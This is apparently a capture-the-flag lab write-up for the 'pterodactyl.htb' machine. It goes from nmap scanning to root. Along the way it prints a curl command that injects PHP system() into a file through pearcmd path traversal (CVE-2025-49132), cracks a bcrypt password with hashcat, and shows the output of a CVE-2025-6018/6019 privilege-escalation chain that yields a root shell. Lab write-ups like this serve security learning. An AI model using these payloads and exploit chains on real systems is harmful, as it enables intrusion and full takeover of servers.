$ sudo nmap -sC -sV -p22,80,443,8080 10.129.73.168 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-07 14:14 EST Nmap scan report for 10.129.73.168 Host is up (1.9s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6 (protocol 2.0) | ssh-hostkey: | 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA) |_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519) 80/tcp open http nginx 1.21.5 |_http-title: Did not follow redirect to http://pterodactyl.htb/ |_http-server-header: nginx/1.21.5 443/tcp closed https 8080/tcp closed http-proxy
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.20 seconds
Foothold
first lets add the vhost to our hosts file
1
$ echo'10.129.73.168 pterodactyl.htb' | sudotee -a /etc/hosts
at first glance, its a Minecraft community site advertising a minecraft server ip on play.pterodactyl.htb lets add the subdomain to our hosts file
1
$ echo'10.129.73.168 play.pterodactyl.htb' | sudotee -a /etc/hosts
visiting play.pterodactyl.htb redirect me to pterodactyl.htb
i enumerated directories using ffuf and found /phpinfo.php which shows us the web stack and configurations of the website
$ echo'10.129.73.168 panel.pterodactyl.htb' | sudotee -a /etc/hosts
upon visiting the panel, i see its using Pterodactyl Panel, an open-source game server managemnt panel built with PHP, React and Go
looking for vulnerabilities, i found that there’s a vulnerable to CVE-2025-49132 in versions < 1.11 which allows us to allows unauthenticated arbitrary RCE I couldn’t find the version of our Pterodactyl Panel so i would have to test to see if it’s vulnerable
the exploit works by /locales/locale.json with the locale and namespace query parameters
let’s use this PoC which retrieves the database credentials for us
to exploit this CVE and get RCE we can use pearcmd we can use this RCE PoC if we go to .phpinfo we can see that pearcmd is in a different folder from the one specified in this PoC
so let’s edit poc.py and change this /usr/local/lib/php to /usr/share/php/PEAR
1 2 3 4 5
# before os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/local/lib/php&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")
# after os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")
now we can perform RCE
since we have the DB credentials i can use that to enumerate the database
# we can see this somewhere in between all the html activity_log_subjects activity_logs allocations api_keys api_logs audit_logs backups database_hosts databases egg_mount egg_variables eggs failed_jobs jobs locations migrations mount_node mount_server mounts nests nodes notifications password_resets recovery_tokens schedules server_transfers server_variables servers sessions settings subusers tasks tasks_log user_ssh_keys users
users table contains 2 accounts with passwords encrypted with bcrypt i’ll attempt to crack them using hashcat
1
$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
i was able to crack phileasfogg3‘s password
1 2
$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
i can now ssh and get the user flag
1 2 3 4 5 6
$ ssh phileasfogg3@pterodactyl.htb (phileasfogg3@pterodactyl.htb) Password: Have a lot of fun... Last login: Sun Feb 8 16:05:23 2026 from 10.10.16.242 Last login: Sun Feb 8 16:07:38 2026 from 10.10.16.242 phileasfogg3@pterodactyl:~>
Privilege Escalation
phileasfogg3 can run any command as any user but targetpw means we require the target user’s password
1 2 3 4 5 6 7 8 9
phileasfogg3@pterodactyl:~> sudo -l [sudo] password for phileasfogg3: Matching Defaults entries for phileasfogg3 on pterodactyl: always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl: (ALL) ALL
phileasfogg3@pterodactyl:/var/mail> cat /var/spool/mail/phileasfogg3 From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025 Delivered-To: phileasfogg3@pterodactyl Received: by pterodactyl (Postfix, from userid 0) id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET) From: headmonitor headmonitor@pterodactyl To: All Users all@pterodactyl Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert) Message-ID: 202511070915.headmonitor@pterodactyl Date: Fri, 07 Nov 2025 09:15:00 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
Report any signs of compromise immediately to headmonitor@pterodactyl.htb
— HeadMonitor System Administrator
after searching, i found this CVE-2025-6019 which lets us escalate privileges
using this PoC , i did the following: first, i used it to create an xfs.image on my machine and then downloaded the xfs.image file
when running the exploit, it fails because allow_active status not obtained for this exploit to work, CanReboot must be yes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
phileasfogg3@pterodactyl:/tmp> chmod +x CVE-2025-6019.sh phileasfogg3@pterodactyl:/tmp> ./CVE-2025-6019.sh PoC for CVE-2025-6019 (LPE via libblockdev/udisks) WARNING: Only run this on authorized systems. Unauthorized use is illegal. Continue? [y/N]: y [*] Checking for vulnerable libblockdev/udisks versions... [*] Detected udisks version: unknown [!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown. [!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks. [!] Continuing with PoC execution... Select mode: [L]ocal: Create 300 MB XFS image (requires root) [C]ible: Exploit target system [L]ocal or [C]ible? (L/C): c [*] Starting exploitation on target machine... [*] Checking allow_active status... [-] Error: allow_active status not obtained. Exploitation may fail. [-] Try exploiting CVE-2025-6018 first if applicable.
checking CanReboot manually, i see it’s challenge which explains why this exploit fails
we can use this vulnerability CVE-2025-6018 which elevates privileges reserved for allow_active users and chain it with CVE-2025-6019 to get root im going to use this PoC
exploit$ exploit$ ./CVE-2025-6019.sh ./CVE-2025-6019.sh PoC for CVE-2025-6019 (LPE via libblockdev/udisks) WARNING: Only run this on authorized systems. Unauthorized use is illegal. Continue? [y/N]: exploit$ y y [*] Checking for vulnerable libblockdev/udisks versions... [*] Detected udisks version: unknown [!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown. [!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks. [!] Continuing with PoC execution... Select mode: [L]ocal: Create 300 MB XFS image (requires root) [C]ible: Exploit target system [L]ocal or [C]ible? (L/C): exploit$ c c [*] Starting exploitation on target machine... [*] Checking allow_active status... [+] allow_active status confirmed. [*] Verifying xfs.image integrity... [*] Stopping gvfs-udisks2-volume-monitor... [*] Note: gvfs-udisks2-volume-monitor was not running. [*] Setting up loop device... [+] Loop device configured: /dev/loop0 [*] Keeping filesystem busy to prevent unmounting... [+] Background loop started (PID: 11257) [*] Resizing filesystem to trigger mount... exploit$ whoami [+] Mount successful (expected error: target is busy). [*] Waiting 2 seconds for mount to stabilize... [*] Checking for SUID bash in /tmp/blockdev*... [+] SUID bash found: /tmp/blockdev.K8DPK3/bash -rwsr-xr-x 1 root root 1298416 Feb 8 17:21 /tmp/blockdev.K8DPK3/bash [*] Executing root shell... bash-5.2# whoami root bash-5.2# exploit$